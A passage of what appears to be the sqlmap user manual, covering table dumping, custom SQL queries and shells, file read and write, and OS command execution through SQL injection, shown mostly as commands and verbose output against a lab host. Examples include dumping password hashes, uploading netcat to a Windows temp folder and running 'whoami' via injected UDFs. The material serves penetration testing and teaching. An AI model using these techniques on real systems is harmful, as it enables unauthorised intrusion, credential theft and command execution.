| gbk                | gbk_chinese_ci       | GBK Simplified Chinese      | 2      |
+--------------------+----------------------+-----------------------------+--------+

[...]
</verb></tscreen>

<p>
You can also provide the <tt>--exclude-sysdbs</tt> option to exclude all
system databases so that sqlmap will only dump entries of users' databases
tables.

<p>
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all \
  --exclude-sysdbs -v 0

Database: master
Table: spt_datatype_info_ext
[10 entries]
+----------------+-----------------+-----------+-----------+
| AUTO_INCREMENT | CREATE_PARAMS   | typename  | user_type |
+----------------+-----------------+-----------+-----------+
| 0              | length          | char      | 175       |
| 0              | precision,scale | numeric   | 108       |
| 0              | max length      | varbinary | 165       |
| 0              | precision,scale | decimal   | 106       |
| 1              | precision       | numeric   | 108       |
| 0              | length          | nchar     | 239       |
| 0              | max length      | nvarchar  | 231       |
| 0              | length          | binary    | 173       |
| 0              | max length      | varchar   | 167       |
| 1              | precision       | decimal   | 106       |
+----------------+-----------------+-----------+-----------+

[...]

Database: master
Table: users
[5 entries]
+----+----------------------------------------------+-------------------+
| id | name                                         | surname           |
+----+----------------------------------------------+-------------------+
| 4  | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
| 2  | fluffy                                       | bunny             |
| 1  | luther                                       | blisset           |
| 3  | wu                                           | ming              |
| 5  | NULL                                         | nameisnull        |
+----+----------------------------------------------+-------------------+

[...]
</verb></tscreen>

<p>
Note that on Microsoft SQL Server the <tt>master</tt> database is not
considered a system database because some database administrators use it
as a users' database.


<sect2>Run your own SQL statement

<p>
Options: <tt>--sql-query</tt> and <tt>--sql-shell</tt>

<p>
The SQL query and the SQL shell features makes the user able to run
custom SQL statement on the web application's back-end database management.
sqlmap automatically recognize the type of SQL statement provided and
choose which SQL injection technique to use to execute it: if it is a
<tt>SELECT</tt> statement it will retrieve its output through the blind SQL
injection or UNION query SQL injection technique depending on the user's
options, otherwise it will execute the query through the stacked query
SQL injection technique if the web application supports multiple
statements on the back-end database management system.

<p>
Examples on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
  "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
(CHAR(32)))
[hh:mm:14] [INFO] retrieved: foo
[hh:mm:14] [INFO] performed 27 queries in 0 seconds
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
  "SELECT 'foo', 'bar'" -v 1

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into 
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [INFO] performed 27 queries in 0 seconds
[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), 
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [INFO] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'
</verb></tscreen>

<p>
As you can see from this last example, sqlmap splits the query in two
different <tt>SELECT</tt> statement to be able to retrieve the output even
when using the blind SQL injection technique.
Otherwise in UNION query SQL injection technique it only performs a single
HTTP request to get the user's query output:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
  "SELECT 'foo', 'bar'" -v 1 --union-use

[...]
[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:03] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing 
technique
[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:03] [INFO] the target url is affected by an exploitable full inband sql injection
vulnerability
[hh:mm:03] [INFO] query:  UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
+(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
CHAR(116)), NULL-- AND 8373=8373
[hh:mm:03] [INFO] performed 3 queries in 0 seconds
SELECT 'foo', 'bar' [1]:
[*] foo, bar
</verb></tscreen>

<p>
If your <tt>SELECT</tt> statement contains a <tt>FROM</tt> clause, sqlmap
asks the user if such statement can return multiple entries and in such
case the tool knows how to unpack the query correctly to retrieve its
whole output entry per entry when going through blind SQL injection
technique. Through UNION query SQL injection it retrieved the whole output
in a single response.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query \
  "SELECT usename FROM pg_user" -v 0

[hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
[hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries. How many entries 
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 2
SELECT usename FROM pg_user [2]:
[*] postgres
[*] testuser
</verb></tscreen>

<p>
As you can see from the last example, sqlmap counted the number of entries
for your query and asks how many entries you want to dump.
Otherwise if you specify also the <tt>LIMIT</tt>, or similar, clause
sqlmap will not ask anything, it just unpacks the query and return its
output entry per entry when going through blind SQL injection technique.
Through UNION query SQL injection it retrieved the whole output in a
single response.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query \
  "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1

[...]
back-end DBMS:  MySQL >= 5.0.0

[hh:mm:22] [INFO] fetching SQL SELECT statement query output: 'SELECT host, password FROM 
mysql.user LIMIT 1, 3'
[hh:mm:22] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it 
into distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:22] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM 
mysql.user LIMIT 1, 1
[hh:mm:22] [INFO] retrieved: localhost
[hh:mm:22] [INFO] performed 69 queries in 0 seconds
[hh:mm:22] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM 
mysql.user LIMIT 1, 1
[hh:mm:22] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
[hh:mm:24] [INFO] performed 293 queries in 2 seconds
[hh:mm:24] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM 
mysql.user LIMIT 2, 1
[hh:mm:24] [INFO] retrieved: localhost
[hh:mm:25] [INFO] performed 69 queries in 0 seconds
[hh:mm:25] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM 
mysql.user LIMIT 2, 1
[hh:mm:25] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
[hh:mm:27] [INFO] performed 293 queries in 2 seconds
[hh:mm:27] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM 
mysql.user LIMIT 3, 1
[hh:mm:27] [INFO] retrieved: localhost
[hh:mm:28] [INFO] performed 69 queries in 0 seconds
[hh:mm:28] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) 
FROM mysql.user LIMIT 3, 1
[hh:mm:28] [INFO] retrieved: 
[hh:mm:28] [INFO] performed 6 queries in 0 seconds
SELECT host, password FROM mysql.user LIMIT 1, 3 [3]:
[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
[*] localhost, 
</verb></tscreen>

<p>
The SQL shell option gives you access to run your own SQL statement
interactively, like a SQL console logged to the back-end database
management system.
This feature has TAB completion and history support.

<p>
Example of history support on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0

sql> SELECT 'foo'
SELECT 'foo':    'foo'

sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
sql> SELECT version()
SELECT version():    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real 
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'

sql> exit

$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0

sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries 
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 2
SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
</verb></tscreen>

<p>
Example of TAB completion on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0

sql> [TAB TAB]
 LIMIT 
(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) 
LIMIT 0, 1)='Y'
AND ORD(MID((%s), %d, 1)) > %d
CAST(%s AS CHAR(10000))
COUNT(%s)
CURRENT_USER()
DATABASE()
IFNULL(%s, ' ')
LENGTH(%s)
LIMIT %d, %d
MID((%s), %d, %d)
ORDER BY %s ASC
SELECT %s FROM %s.%s
SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)
SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND 
table_schema='%s'
SELECT grantee FROM information_schema.USER_PRIVILEGES
SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
SELECT schema_name FROM information_schema.SCHEMATA
SELECT table_schema, table_name FROM information_schema.TABLES
SELECT user, password FROM mysql.user
SLEEP(%d)
VERSION()
\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)
sql> SE[TAB]
sql> SELECT
</verb></tscreen>

<p>
As you can see the TAB functionality shows the queries defined for the
back-end database management system in sqlmap XML queries file, but you
can run whatever <tt>SELECT</tt> statement that you want.

<p>
Example of asterisk expansion on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell \
  -v 1

[...]
[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql> SELECT * FROM test.users
[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the 
column names itself.
[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) 
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
table_schema=CHAR(116,101,115,116)
[hh:mm:48] [INFO] retrieved: 3
[hh:mm:48] [INFO] performed 13 queries in 0 seconds
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
table_schema=CHAR(116,101,115,116) LIMIT 0, 1
[hh:mm:48] [INFO] retrieved: id
[hh:mm:48] [INFO] performed 20 queries in 0 seconds
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
table_schema=CHAR(116,101,115,116) LIMIT 1, 1
[hh:mm:48] [INFO] retrieved: name
[hh:mm:48] [INFO] performed 34 queries in 0 seconds
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
table_schema=CHAR(116,101,115,116) LIMIT 2, 1
[hh:mm:48] [INFO] retrieved: surname
[hh:mm:48] [INFO] performed 55 queries in 0 seconds
[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
[hh:mm:48] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM 
test.users
[hh:mm:04] [INFO] retrieved: 5
[hh:mm:04] [INFO] performed 13 queries in 0 seconds
[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many 
entries 
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 3
[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: 1
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: luther
[hh:mm:09] [INFO] performed 48 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM 
test.users ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: blissett
[hh:mm:09] [INFO] performed 62 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: 2
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: fluffy
[hh:mm:09] [INFO] performed 48 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM 
test.users ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: bunny
[hh:mm:09] [INFO] performed 41 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: 3
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: wu
[hh:mm:09] [INFO] performed 20 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM 
test.users ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: ming
[hh:mm:10] [INFO] performed 34 queries in 0 seconds
SELECT * FROM test.users [3]:
[*] 1, luther, blissett
[*] 2, fluffy, bunny
[*] 3, wu, ming
</verb></tscreen>

<p>
As you can see in this last example, if the <tt>SELECT</tt> statement has
an asterisk instead of the column(s) name, sqlmap first retrieves the
column names of the table then asks if the query can return multiple
entries and goes on.

<p>
Example of SQL statement other than <tt>SELECT</tt> on a <bf>PostgreSQL
8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1

[...]
back-end DBMS: PostgreSQL

[10:hh:mm] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
sql> SELECT COUNT(name) FROM users
[10:11:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
[10:11:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
[10:11:59] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS CHARACTER(10000)), CHR(32)) 
FROM users
[10:11:59] [INFO] retrieved: 4
[10:11:59] [INFO] performed 13 queries in 0 seconds
SELECT COUNT(name) FROM users:    '4'

sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');
[10:12:35] [INFO] testing stacked queries support on parameter 'id'
[10:12:40] [INFO] the web application supports stacked queries on parameter 'id'
[10:12:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users 
(id, name, surname) VALUES (5, 'from', 'sql shell');'
[10:12:40] [INFO] done
sql> SELECT COUNT(name) FROM users
[10:12:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
[10:12:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
[10:12:53] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS CHARACTER(10000)), CHR(32)) 
FROM users
[10:12:53] [INFO] retrieved: 5
[10:12:54] [INFO] performed 20 queries in 0 seconds
SELECT COUNT(name) FROM users:    '5'
</verb></tscreen>

<p>
As you can see from this last example, when the user provides a SQL
statement other than <tt>SELECT</tt>, sqlmap recognizes it, tests if the
web application supports stacked queries and in case it does, it executes
the provided SQL statement in a multiple statement.

<p>
Beware that some web application technologies do not support stacked
queries on specific database management systems. For instance, PHP does not
support stacked queries when the back-end DBMS is MySQL, but it does
support when the back-end DBMS is PostgreSQL.


<sect1>File system access

<sect2>Read a file from the back-end DBMS file system

<p>
Option: <tt>--read-file</tt>

<p>
It is possible to retrieve the content of files from the underlying file
system when the back-end database management system is either MySQL,
PostgreSQL or Microsoft SQL Server and the session user has the needed
privileges to abuse database specific functionalities and architectural
weaknesses.
The file specified can be either a text or a binary file, sqlmap will
handle either cases automatically.

<p>
These techniques are detailed on the white paper
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target to retrieve a text file:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.aspx?id=1" \
  --read-file "C:\example.txt" -v 2

[...]
[hh:mm:53] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: PostgreSQL

[hh:mm:53] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:53] [INFO] detecting back-end DBMS version from its banner
[hh:mm:53] [DEBUG] query: COALESCE(CAST(SUBSTR((VERSION())::text, 12, 6) AS CHARACTER(10000)), 
CHR(32))
[hh:mm:53] [INFO] retrieved: 8.3.5,
[hh:mm:58] [DEBUG] performed 49 queries in 4 seconds
[hh:mm:58] [DEBUG] query: SELECT PG_SLEEP(5)
[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:03] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:03] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:03] [DEBUG] query: CREATE TABLE sqlmapfile(data character(500))
[hh:mm:03] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
[hh:mm:03] [DEBUG] query: SELECT (CASE WHEN ((SELECT LENGTH(data) FROM sqlmapfile WHERE data 
LIKE CHR(37)||CHR(32)||CHR(86)||CHR(105)||CHR(115)||CHR(117)||CHR(97)||CHR(108)||CHR(32)||
CHR(67)||CHR(43)||CHR(43)||CHR(37))>0) THEN 1 ELSE 0 END)
[hh:mm:03] [INFO] retrieved: 1
[hh:mm:03] [DEBUG] performed 5 queries in 0 seconds
[hh:mm:03] [INFO] the back-end DBMS operating system is Windows
[hh:mm:03] [DEBUG] cleaning up the database management system
[hh:mm:03] [DEBUG] removing support tables
[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:04] [DEBUG] going to read the file with stacked query SQL injection technique
[hh:mm:04] [WARNING] binary file read on PostgreSQL is not yet supported, if the requested file 
is binary, its content will not be retrieved
[hh:mm:04] [INFO] fetching file: 'C:/example.txt'
[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:04] [DEBUG] query: CREATE TABLE sqlmapfile(data bytea)
[hh:mm:04] [DEBUG] loading the content of file 'C:/example.txt' into support table
[hh:mm:04] [DEBUG] query: COPY sqlmapfile(data) FROM 'C:/example.txt'
[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(COUNT(data) AS CHARACTER(10000)), CHR(32)) FROM 
sqlmapfile
[hh:mm:04] [INFO] retrieved: 1
[hh:mm:04] [DEBUG] performed 6 queries in 0 seconds
[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(ENCODE(data, CHR(98)||CHR(97)||CHR(115)||CHR(101)
||CHR(54)||CHR(52)) AS CHARACTER(10000)), CHR(32)) FROM sqlmapfile OFFSET 0 LIMIT 1
[hh:mm:04] [INFO] retrieved: VGhpcyBpcyBhIHRleHQgZmlsZQ==
[hh:mm:22] [DEBUG] performed 203 queries in 18 seconds
[hh:mm:22] [DEBUG] cleaning up the database management system
[hh:mm:22] [DEBUG] removing support tables
[hh:mm:22] [DEBUG] query: DROP TABLE sqlmapfile
C:/example.txt file saved to:    '/home/inquis/sqlmap/output/192.168.1.121/files/C__example.txt'

[hh:mm:22] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/192.168.1.121'

$ cat output/192.168.1.121/files/C__example.txt 
This is a text file
</verb></tscreen>

<p>
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target to
retrieve a binary file:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
  --read-file "C:\example.exe" --union-use -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:49] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing 
technique
[hh:mm:49] [INFO] confirming full inband sql injection on parameter 'name'
[hh:mm:49] [WARNING] the target url is not affected by an exploitable full inband sql 
injection vulnerability
[hh:mm:49] [INFO] confirming partial (single entry) inband sql injection on parameter 
'name' by appending a false condition after the parameter value
[hh:mm:49] [INFO] the target url is affected by an exploitable partial (single entry) 
inband sql injection vulnerability
valid union:    'http://192.168.1.121:80/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION 
ALL SELECT NULL, NULL, NULL-- AND 'sjOfJ'='sjOfJ'

[hh:mm:49] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:54] [INFO] the web application supports stacked queries on parameter 'name'
[hh:mm:54] [INFO] fetching file: 'C:/example.exe'
[hh:mm:54] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/home/inquis/sqlmap/output/192.168.1.121/files/
C__example.exe'

[hh:mm:54] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/
192.168.1.121'

$ ls -l output/192.168.1.121/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2009-MM-DD hh:mm output/192.168.1.121/files/C__example.exe

$ file output/192.168.1.121/files/C__example.exe 
output/192.168.1.121/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
</verb></tscreen>


<sect2>Write a local file on the back-end DBMS file system

<p>
Options: <tt>--write-file</tt> and <tt>--dest-file</tt>

<p>
It is possible to upload a local file to the underlying file system when
the back-end database management system is either MySQL, PostgreSQL or
Microsoft SQL Server and the session user has the needed privileges to
abuse database specific functionalities and architectural weaknesses.
The file specified can be either a text or a binary file, sqlmap will
handle either cases automatically.

<p>
These techniques are detailed on the white paper
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">.

<p>
Example on a <bf>MySQL 5.0.67</bf> target to upload a binary UPX-compressed
file:

<tscreen><verb>
$ file /tmp/nc.exe.packed 
/tmp/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /tmp/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed

$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.aspx?id=1" --write-file \
  "/tmp/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[hh:mm:29] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:29] [INFO] detecting back-end DBMS version from its banner
[hh:mm:29] [INFO] retrieved: 5.0.67
[hh:mm:36] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:36] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:36] [INFO] retrieved: C
[hh:mm:36] [INFO] the back-end DBMS operating system is Windows
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully 
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, 
same size as the local file '/tmp/nc.exe.packed'
</verb></tscreen>


<sect1>Operating system access

<sect2>Execute arbitrary operating system command

<p>
Options: <tt>--os-cmd</tt> and <tt>--os-shell</tt>

<p>
It is possible to execute arbitrary commands on the underlying operating
system when the back-end database management system is either MySQL,
PostgreSQL or Microsoft SQL Server and the session user has the needed
privileges to abuse database specific functionalities and architectural
weaknesses.

<p>
On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality
demonstrated above) a shared library (binary file) containing two
user-defined functions, <tt>sys_exec()</tt> and <tt>sys_eval()</tt>, then
it creates these two functions on the database and call one of them to
execute the specified command, depending on the user's choice to display
the standard output or not.
On Microsoft SQL Server, sqlmap abuses the <tt>xp_cmshell</tt> stored
procedure: if it's disable sqlmap re-enables it, if it does not exist,
sqlmap creates it from scratch.

<p>
If the user wants to retrieve the command standard output, sqlmap will use
one of the enumeration SQL injection techniques (blind or inband) to
retrieve it, viceversa sqlmap will use the stacked query SQL injection
technique to execute the command without returning anything to the user.

<p>
These techniques are detailed on the white paper
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">.

<p>
It is possible to specify a single command to be executed with the
<tt>--os-cmd</tt> option.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.aspx?id=1" \
  --os-cmd "whoami" -v 1

[...]
[hh:mm:05] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: PostgreSQL

[hh:mm:05] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:05] [INFO] detecting back-end DBMS version from its banner
[hh:mm:05] [INFO] retrieved: 8.3.5,
[hh:mm:15] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:15] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:15] [INFO] retrieved: 1
[hh:mm:16] [INFO] the back-end DBMS operating system is Windows
[hh:mm:16] [INFO] testing if current user is DBA
[hh:mm:16] [INFO] retrieved: 1
[hh:mm:16] [INFO] checking if sys_exec UDF already exist
[hh:mm:16] [INFO] retrieved: 0
[hh:mm:18] [INFO] checking if sys_eval UDF already exist
[hh:mm:18] [INFO] retrieved: 0
[hh:mm:20] [INFO] creating sys_exec UDF from the binary UDF file
[hh:mm:20] [INFO] creating sys_eval UDF from the binary UDF file
do you want to retrieve the command standard output? [Y/n] 
[hh:mm:35] [INFO] retrieved: w2k3dev\postgres
command standard output:    'w2k3dev\postgres'
</verb></tscreen>

<p>
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
  --os-cmd "whoami" --union-use -v 1

[...]
[hh:mm:58] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

